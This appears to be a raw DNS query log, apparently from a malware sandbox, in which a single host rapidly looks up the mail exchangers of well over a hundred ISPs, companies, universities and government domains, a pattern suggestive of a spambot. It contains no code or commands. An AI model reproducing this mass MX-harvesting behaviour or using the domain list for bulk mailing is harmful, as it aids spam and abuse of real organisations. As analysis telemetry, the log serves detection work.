Aug 24, 2023 19:03:17.700392008 CEST	192.168.2.8	8.8.8.8	0x86fc	Standard query (0)	al-ip4-mx-vip1.prodigy.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.728075981 CEST	192.168.2.8	8.8.8.8	0x9fbc	Standard query (0)	mx.vgs.untd.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:17.751082897 CEST	192.168.2.8	8.8.8.8	0x6f1d	Standard query (0)	ibl.bm	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:17.910214901 CEST	192.168.2.8	8.8.8.8	0x68	Standard query (0)	mx1.myone.bm	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.468652964 CEST	192.168.2.8	8.8.8.8	0x6c05	Standard query (0)	juno.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.568780899 CEST	192.168.2.8	8.8.8.8	0xe0b3	Standard query (0)	gowlings.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.609198093 CEST	192.168.2.8	8.8.8.8	0x36c3	Standard query (0)	mxa-00153401.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.639297009 CEST	192.168.2.8	8.8.8.8	0x4e95	Standard query (0)	butow.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.699201107 CEST	192.168.2.8	8.8.8.8	0x92ea	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.755542040 CEST	192.168.2.8	8.8.8.8	0x3934	Standard query (0)	aim.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.790182114 CEST	192.168.2.8	8.8.8.8	0xb92a	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:18.835028887 CEST	192.168.2.8	8.8.8.8	0x6ee4	Standard query (0)	ymail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.902245045 CEST	192.168.2.8	8.8.8.8	0xae3e	Standard query (0)	live.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:18.931969881 CEST	192.168.2.8	8.8.8.8	0xef01	Standard query (0)	live-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.166563988 CEST	192.168.2.8	8.8.8.8	0x2de2	Standard query (0)	hgchristian.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.266226053 CEST	192.168.2.8	8.8.8.8	0xddaf	Standard query (0)	ep.mk	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.320883036 CEST	192.168.2.8	8.8.8.8	0xfa2f	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.330001116 CEST	192.168.2.8	8.8.8.8	0x6a22	Standard query (0)	yamil.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.548171997 CEST	192.168.2.8	8.8.8.8	0xc832	Standard query (0)	sbcglobal.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.562272072 CEST	192.168.2.8	8.8.8.8	0xd385	Standard query (0)	mx2.mailchannels.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.578037024 CEST	192.168.2.8	8.8.8.8	0x7b96	Standard query (0)	ff-ip4-mx-vip2.prodigy.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.763432980 CEST	192.168.2.8	8.8.8.8	0x1f8a	Standard query (0)	frontier.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.805234909 CEST	192.168.2.8	8.8.8.8	0xf972	Standard query (0)	mx.frontiernet.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:19.901012897 CEST	192.168.2.8	8.8.8.8	0xd4a	Standard query (0)	bellsouth.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:19.919996023 CEST	192.168.2.8	8.8.8.8	0xb9a8	Standard query (0)	al-ip4-mx-vip2.prodigy.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:20.916667938 CEST	192.168.2.8	8.8.8.8	0x2ea9	Standard query (0)	flash.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:21.046734095 CEST	192.168.2.8	8.8.8.8	0x447	Standard query (0)	cs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:21.235291004 CEST	192.168.2.8	8.8.8.8	0xb6fb	Standard query (0)	telusplanet.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:21.420191050 CEST	192.168.2.8	8.8.8.8	0x8dee	Standard query (0)	inode.at	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:21.910830975 CEST	192.168.2.8	8.8.8.8	0x2ea9	Standard query (0)	flash.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.029865026 CEST	192.168.2.8	8.8.8.8	0x2c57	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.051274061 CEST	192.168.2.8	8.8.8.8	0x447	Standard query (0)	cs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.238862991 CEST	192.168.2.8	8.8.8.8	0xb6fb	Standard query (0)	telusplanet.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.283186913 CEST	192.168.2.8	8.8.8.8	0x1da6	Standard query (0)	mchsi.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.411591053 CEST	192.168.2.8	8.8.8.8	0x8dee	Standard query (0)	inode.at	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.425765991 CEST	192.168.2.8	8.8.8.8	0x22f4	Standard query (0)	cox.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.496186972 CEST	192.168.2.8	8.8.8.8	0x5a58	Standard query (0)	hanmail.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:22.528192997 CEST	192.168.2.8	8.8.8.8	0x4cfa	Standard query (0)	mx1.hanmail.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:22.603652000 CEST	192.168.2.8	8.8.8.8	0xa69a	Standard query (0)	cxr.mx.a.cloudfilter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:22.992156029 CEST	192.168.2.8	8.8.8.8	0x2ea9	Standard query (0)	flash.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.020212889 CEST	192.168.2.8	8.8.8.8	0x2c57	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.045604944 CEST	192.168.2.8	8.8.8.8	0xa89b	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.071521044 CEST	192.168.2.8	8.8.8.8	0x447	Standard query (0)	cs.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.254926920 CEST	192.168.2.8	8.8.8.8	0xb6fb	Standard query (0)	telusplanet.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.286156893 CEST	192.168.2.8	8.8.8.8	0x1da6	Standard query (0)	mchsi.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.322707891 CEST	192.168.2.8	8.8.8.8	0x6e92	Standard query (0)	mcc-east.mx.a.cloudfilter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.426234961 CEST	192.168.2.8	8.8.8.8	0x8dee	Standard query (0)	inode.at	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:23.434725046 CEST	192.168.2.8	8.8.8.8	0x8904	Standard query (0)	alt4.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:23.489367962 CEST	192.168.2.8	8.8.8.8	0xc3b2	Standard query (0)	mx.mymagenta.at	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:24.469324112 CEST	192.168.2.8	8.8.8.8	0xb29f	Standard query (0)	atlanticbb.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.645982027 CEST	192.168.2.8	8.8.8.8	0x6e5c	Standard query (0)	mx02-brz.echolabs.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.667864084 CEST	192.168.2.8	8.8.8.8	0x951a	Standard query (0)	charter.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.687985897 CEST	192.168.2.8	8.8.8.8	0x368d	Standard query (0)	cruzio.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.715542078 CEST	192.168.2.8	8.8.8.8	0xcfc6	Standard query (0)	mx0.charter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.871037960 CEST	192.168.2.8	8.8.8.8	0x146a	Standard query (0)	embarqmail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:27.875972986 CEST	192.168.2.8	8.8.8.8	0x85e5	Standard query (0)	mx.cruzio.com.cust.b.hostedemail.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:27.892148018 CEST	192.168.2.8	8.8.8.8	0x7894	Standard query (0)	mx.centurylink.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.185719013 CEST	192.168.2.8	8.8.8.8	0xb752	Standard query (0)	cheerful.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.248436928 CEST	192.168.2.8	8.8.8.8	0xbfa1	Standard query (0)	prodigy.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.340570927 CEST	192.168.2.8	8.8.8.8	0xfdde	Standard query (0)	kwr.com.my	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.402697086 CEST	192.168.2.8	8.8.8.8	0xcebb	Standard query (0)	shaw.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.484108925 CEST	192.168.2.8	8.8.8.8	0xafe0	Standard query (0)	aidarodriguezlaw.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.555286884 CEST	192.168.2.8	8.8.8.8	0xf74d	Standard query (0)	aidarodriguezlaw-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.583525896 CEST	192.168.2.8	8.8.8.8	0x894a	Standard query (0)	shw-central.mx.a.cloudfilter.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.598249912 CEST	192.168.2.8	8.8.8.8	0xc4a4	Standard query (0)	erols.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.628348112 CEST	192.168.2.8	8.8.8.8	0xb35b	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.645143032 CEST	192.168.2.8	8.8.8.8	0xa5e6	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.657134056 CEST	192.168.2.8	8.8.8.8	0x3760	Standard query (0)	dbrj.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.712497950 CEST	192.168.2.8	8.8.8.8	0xdfdc	Standard query (0)	mx.rcn.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.724699020 CEST	192.168.2.8	8.8.8.8	0xd8df	Standard query (0)	postoffice.omnis.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.745899916 CEST	192.168.2.8	8.8.8.8	0x1b2f	Standard query (0)	whti.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.794588089 CEST	192.168.2.8	8.8.8.8	0xa6fd	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.819602966 CEST	192.168.2.8	8.8.8.8	0xb0b7	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.828499079 CEST	192.168.2.8	8.8.8.8	0x5430	Standard query (0)	mac.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.905930042 CEST	192.168.2.8	8.8.8.8	0xb5f2	Standard query (0)	pennwest.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:28.907203913 CEST	192.168.2.8	8.8.8.8	0xc10b	Standard query (0)	mx.townes.ispn.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:28.986304998 CEST	192.168.2.8	8.8.8.8	0x21b	Standard query (0)	telus.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.037733078 CEST	192.168.2.8	8.8.8.8	0xdb94	Standard query (0)	mail.kwr.com.my	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.106190920 CEST	192.168.2.8	8.8.8.8	0x180b	Standard query (0)	spvm.qc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.109215021 CEST	192.168.2.8	8.8.8.8	0xf3e8	Standard query (0)	alt3.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.155653954 CEST	192.168.2.8	8.8.8.8	0x64f1	Standard query (0)	mail.spvm.qc.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.183829069 CEST	192.168.2.8	8.8.8.8	0x30cc	Standard query (0)	cogeco.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.279433966 CEST	192.168.2.8	8.8.8.8	0xa29d	Standard query (0)	yahoo.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.301028013 CEST	192.168.2.8	8.8.8.8	0x34f5	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.622699976 CEST	192.168.2.8	8.8.8.8	0x76f5	Standard query (0)	panduit.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.668875933 CEST	192.168.2.8	8.8.8.8	0x24f2	Standard query (0)	mxb-002f5901.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.716367960 CEST	192.168.2.8	8.8.8.8	0xb00b	Standard query (0)	snclavalin.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.821609020 CEST	192.168.2.8	8.8.8.8	0x8090	Standard query (0)	turbulent.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:29.843203068 CEST	192.168.2.8	8.8.8.8	0x1dc6	Standard query (0)	mxa-0028ed01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:29.944818020 CEST	192.168.2.8	8.8.8.8	0x48ae	Standard query (0)	ALT1.ASPMX.L.GOOGLE.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.058300018 CEST	192.168.2.8	8.8.8.8	0x2130	Standard query (0)	paris.fr	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.099522114 CEST	192.168.2.8	8.8.8.8	0x861a	Standard query (0)	mdpmails21.paris.fr	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.138798952 CEST	192.168.2.8	8.8.8.8	0xc71e	Standard query (0)	beachway.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.174313068 CEST	192.168.2.8	8.8.8.8	0xe07f	Standard query (0)	beachway-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.192857981 CEST	192.168.2.8	8.8.8.8	0x30cc	Standard query (0)	cogeco.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.311105967 CEST	192.168.2.8	8.8.8.8	0x2bc5	Standard query (0)	kimo.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.324234009 CEST	192.168.2.8	8.8.8.8	0x59cf	Standard query (0)	mx.cogeco.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.357925892 CEST	192.168.2.8	8.8.8.8	0x15d2	Standard query (0)	moneris.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.366118908 CEST	192.168.2.8	8.8.8.8	0x4796	Standard query (0)	mx-tw.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.408643007 CEST	192.168.2.8	8.8.8.8	0xad01	Standard query (0)	moneris-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.732682943 CEST	192.168.2.8	8.8.8.8	0x7003	Standard query (0)	canadapost.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.812252998 CEST	192.168.2.8	8.8.8.8	0x42f3	Standard query (0)	mxb-0062aa01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:30.852121115 CEST	192.168.2.8	8.8.8.8	0x2c14	Standard query (0)	sympatico.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:30.975856066 CEST	192.168.2.8	8.8.8.8	0x7f5d	Standard query (0)	mx.sympatico.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.001606941 CEST	192.168.2.8	8.8.8.8	0x4052	Standard query (0)	thalesgroup.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.041891098 CEST	192.168.2.8	8.8.8.8	0x41ef	Standard query (0)	mcon2.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.051120043 CEST	192.168.2.8	8.8.8.8	0x7f05	Standard query (0)	mx01.thalesgroup.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.112358093 CEST	192.168.2.8	8.8.8.8	0x963e	Standard query (0)	dial.pipex.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.133550882 CEST	192.168.2.8	8.8.8.8	0x2d14	Standard query (0)	mx.tiscali.co.uk	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.168960094 CEST	192.168.2.8	8.8.8.8	0x7a0c	Standard query (0)	cgi.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.199771881 CEST	192.168.2.8	8.8.8.8	0x800d	Standard query (0)	ccso.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.200222969 CEST	192.168.2.8	8.8.8.8	0x9a29	Standard query (0)	mcon2-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.200608015 CEST	192.168.2.8	8.8.8.8	0x3a74	Standard query (0)	mxb-00131701.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.249407053 CEST	192.168.2.8	8.8.8.8	0x9ca7	Standard query (0)	canyontech.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.311621904 CEST	192.168.2.8	8.8.8.8	0x1e01	Standard query (0)	canyontech.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.328438044 CEST	192.168.2.8	8.8.8.8	0xc614	Standard query (0)	bevsupport.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.389411926 CEST	192.168.2.8	8.8.8.8	0x8167	Standard query (0)	southbird.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.433969021 CEST	192.168.2.8	8.8.8.8	0xc5c	Standard query (0)	zoominternet.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.454039097 CEST	192.168.2.8	8.8.8.8	0xd32b	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.455423117 CEST	192.168.2.8	8.8.8.8	0x838	Standard query (0)	mx.armstrong.syn-alias.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.495141029 CEST	192.168.2.8	8.8.8.8	0x9048	Standard query (0)	daiwa-dae.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.549985886 CEST	192.168.2.8	8.8.8.8	0xb027	Standard query (0)	daiwadae-com01c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.559115887 CEST	192.168.2.8	8.8.8.8	0x678	Standard query (0)	ssc-spc.gc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.587769032 CEST	192.168.2.8	8.8.8.8	0x1c4	Standard query (0)	ccso-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.598758936 CEST	192.168.2.8	8.8.8.8	0x5a03	Standard query (0)	mgin1.ssc-spc.gc.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.761912107 CEST	192.168.2.8	8.8.8.8	0x9f9d	Standard query (0)	adelphia.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.794715881 CEST	192.168.2.8	8.8.8.8	0x524f	Standard query (0)	gofia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.855448008 CEST	192.168.2.8	8.8.8.8	0xf8bd	Standard query (0)	pemex.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.900769949 CEST	192.168.2.8	8.8.8.8	0xfb47	Standard query (0)	pemex-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.931392908 CEST	192.168.2.8	8.8.8.8	0x21e3	Standard query (0)	earthlink.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.949414968 CEST	192.168.2.8	8.8.8.8	0xf85f	Standard query (0)	hotmail.co.uk	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:31.951926947 CEST	192.168.2.8	8.8.8.8	0x115c	Standard query (0)	mx01.earthlink-vadesecure.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:31.970258951 CEST	192.168.2.8	8.8.8.8	0xbfa4	Standard query (0)	eur.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.021625042 CEST	192.168.2.8	8.8.8.8	0x8eb5	Standard query (0)	mail.peaceworks.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.124258041 CEST	192.168.2.8	8.8.8.8	0xe310	Standard query (0)	netrevolution.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.180247068 CEST	192.168.2.8	8.8.8.8	0x8a7a	Standard query (0)	twc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.255971909 CEST	192.168.2.8	8.8.8.8	0xcad	Standard query (0)	mg1.netrevolution.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.441409111 CEST	192.168.2.8	8.8.8.8	0xd77e	Standard query (0)	liberal.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.480221033 CEST	192.168.2.8	8.8.8.8	0x94d4	Standard query (0)	liberal-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.499620914 CEST	192.168.2.8	8.8.8.8	0xc8ac	Standard query (0)	optonline.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.520894051 CEST	192.168.2.8	8.8.8.8	0xe963	Standard query (0)	mx.altice.prod.msg.synchronoss.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.652471066 CEST	192.168.2.8	8.8.8.8	0xf02f	Standard query (0)	ns.sympatico.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.667716980 CEST	192.168.2.8	8.8.8.8	0x1068	Standard query (0)	ecothrift.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.706402063 CEST	192.168.2.8	8.8.8.8	0x7df5	Standard query (0)	ecothrift-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.770839930 CEST	192.168.2.8	8.8.8.8	0x9f9d	Standard query (0)	adelphia.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.855400085 CEST	192.168.2.8	8.8.8.8	0xce54	Standard query (0)	twu.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.908837080 CEST	192.168.2.8	8.8.8.8	0x7bad	Standard query (0)	mx.bellaliant.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:32.920382023 CEST	192.168.2.8	8.8.8.8	0xa34	Standard query (0)	rogers.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:32.996870041 CEST	192.168.2.8	8.8.8.8	0x8013	Standard query (0)	umanitoba.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.010592937 CEST	192.168.2.8	8.8.8.8	0x45fc	Standard query (0)	buckeye-express.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.033148050 CEST	192.168.2.8	8.8.8.8	0x909	Standard query (0)	twu-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.046072006 CEST	192.168.2.8	8.8.8.8	0x689f	Standard query (0)	umce3cip03.ad.umanitoba.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.062190056 CEST	192.168.2.8	8.8.8.8	0x2d6b	Standard query (0)	mx-rogers.mail.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.075541973 CEST	192.168.2.8	8.8.8.8	0x93f	Standard query (0)	gov.nt.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.142136097 CEST	192.168.2.8	8.8.8.8	0x3cec	Standard query (0)	mailgate.gov.nt.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.153975964 CEST	192.168.2.8	8.8.8.8	0xdbff	Standard query (0)	mcmaster.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.177732944 CEST	192.168.2.8	8.8.8.8	0x8a7a	Standard query (0)	twc.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.181446075 CEST	192.168.2.8	8.8.8.8	0x4f2c	Standard query (0)	live.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.210093975 CEST	192.168.2.8	8.8.8.8	0x128b	Standard query (0)	nam.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.220233917 CEST	192.168.2.8	8.8.8.8	0x3f9e	Standard query (0)	mcmaster-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.271681070 CEST	192.168.2.8	8.8.8.8	0xec2a	Standard query (0)	mx2.buckeyecom.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.306653023 CEST	192.168.2.8	8.8.8.8	0xc042	Standard query (0)	jamesmunday.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.313690901 CEST	192.168.2.8	8.8.8.8	0x6157	Standard query (0)	kwic.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.346530914 CEST	192.168.2.8	8.8.8.8	0xe7ef	Standard query (0)	mailserver.jamesmunday.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.405632019 CEST	192.168.2.8	8.8.8.8	0xb872	Standard query (0)	deerridgegolfclub.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.414823055 CEST	192.168.2.8	8.8.8.8	0xd23a	Standard query (0)	fireburns.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.444787025 CEST	192.168.2.8	8.8.8.8	0xe79e	Standard query (0)	barracuda.kwic.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.450807095 CEST	192.168.2.8	8.8.8.8	0x8371	Standard query (0)	deerridgegolfclub-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.502851963 CEST	192.168.2.8	8.8.8.8	0xacb4	Standard query (0)	ttc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.558619976 CEST	192.168.2.8	8.8.8.8	0x978d	Standard query (0)	mail2.ttc.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.598758936 CEST	192.168.2.8	8.8.8.8	0xbbd1	Standard query (0)	wvi.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.622467041 CEST	192.168.2.8	8.8.8.8	0x92ce	Standard query (0)	awsusw2a.fireburns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.686989069 CEST	192.168.2.8	8.8.8.8	0x5f99	Standard query (0)	grindsdirect.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.785434961 CEST	192.168.2.8	8.8.8.8	0xf485	Standard query (0)	orange.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:33.786799908 CEST	192.168.2.8	8.8.8.8	0x1072	Standard query (0)	wvi-net.mx.av-mx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:33.823632956 CEST	192.168.2.8	8.8.8.8	0x6268	Standard query (0)	smtp-ina.orange.com	A (IP address)	IN (0x0001)	false
